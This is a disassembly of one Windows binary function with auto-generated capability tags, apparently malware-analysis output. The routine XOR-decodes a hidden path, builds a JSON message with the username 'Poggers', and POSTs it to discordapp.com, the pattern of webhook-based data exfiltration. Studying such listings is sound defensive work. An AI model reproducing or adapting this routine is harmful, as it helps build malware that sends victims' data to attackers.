Function at 0x1400245f0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14013ea40]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov rdi, rcx
mov qword [rbp - 0x61], rcx
mov qword [rbp - 0x31], rcx
xor r14d, r14d
movups xmm0, xmmword [0x1400f9c28]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x1400f9c38]
movups xmmword [rbp - 0x49], xmm1
movsd xmm0, qword [str.e_a_e]
movsd qword [rbp - 0x39], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002479a
movdqa xmm5, xmmword [0x140100580]
mov edx, r14d
movdqa xmm4, xmmword [0x140100630]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x55]
mov r8d, dword [rbp - 0x19]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401005f0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401005f0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140024693
jmp 0x1400247cf
lea r8, [rbp - 0x59]
mov ecx, r14d
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x28
jl 0x1400247a1
lea rax, str.application_json
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], r14
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x25
jb 0x140024bd0
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140024806
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], Ordinal_41
lea r9, str.__username_:__Poggers____content_:__
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400045f0
nop
mov rcx, qword [rbp - 0x71]
mov rdx, qword [rbp - 0x69]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140024881
lea rax, [rcx + 3]
mov qword [rbp - 0x71], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 3
lea rdx, [0x1400f9d08]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x48]
jmp 0x1400248a2
mov qword [rsp + 0x20], 3
lea r9, [0x1400f9d08]
xor r8d, r8d
lea edx, [r8 + 3]
lea rcx, [rsp + 0x48]
call fcn.140004270
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 9], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 7], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rsi, [rbp - 9]
mov rcx, qword [rbp - 9]
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
cmova rsi, rcx
jbe 0x140024915
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024910
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024910
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6838
movdqa xmm0, xmmword [0x1400f8950]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
mov rdx, qword [rbp - 0x69]
cmp rdx, 0xf
jbe 0x140024965
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024960
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6838
movdqa xmm0, xmmword [0x1400f8950]
movdqu xmmword [rbp - 0x71], xmm0
mov byte [rsp + 0x48], 0
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140024980
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [0x1400f9c50]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
test rax, rax
je 0x140024b52
mov r8d, 0x1bb
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
je 0x140024b48
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x84880100
lea rax, [rbp - 0x19]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x59]
lea rdx, str.POST
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r15, rax
test rax, rax
je 0x140024b3f
mov dword [rsp + 0x20], ebx
mov r9, rsi
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140024b36
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
mov dword [rbp - 0x29], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x29]
lea r8, [rbp - 9]
mov edx, reloc.WS2_32.dll_send
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140024a8b
lea rcx, [rbp - 9]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, r14
mov ebx, r14d
mov ecx, 0x800
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov dword [rbp - 0x29], ebx
lea r9, [rbp - 0x29]
mov r8d, 8
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140024b1c
mov rdi, 0xffffffffffffffff
mov ecx, dword [rbp - 0x29]
test ecx, ecx
je 0x140024b18
mov edx, ebx
add edx, ecx
cmovb rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140024af7
mov rsi, rax
mov r8d, dword [rbp - 0x29]
mov ecx, ebx
add rcx, rax
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rbp - 0x29]
mov dword [rbp - 0x29], 0
lea r9, [rbp - 0x29]
mov r8d, 8
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140024ac3
mov rdi, qword [rbp - 0x61]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rsi, rsi
je 0x140024b33
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r14d, r14d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140024b88
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140024b83
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140024bc9
mov rcx, r8
call fcn.1400e6838
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.1400e68d0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004100
nop
int3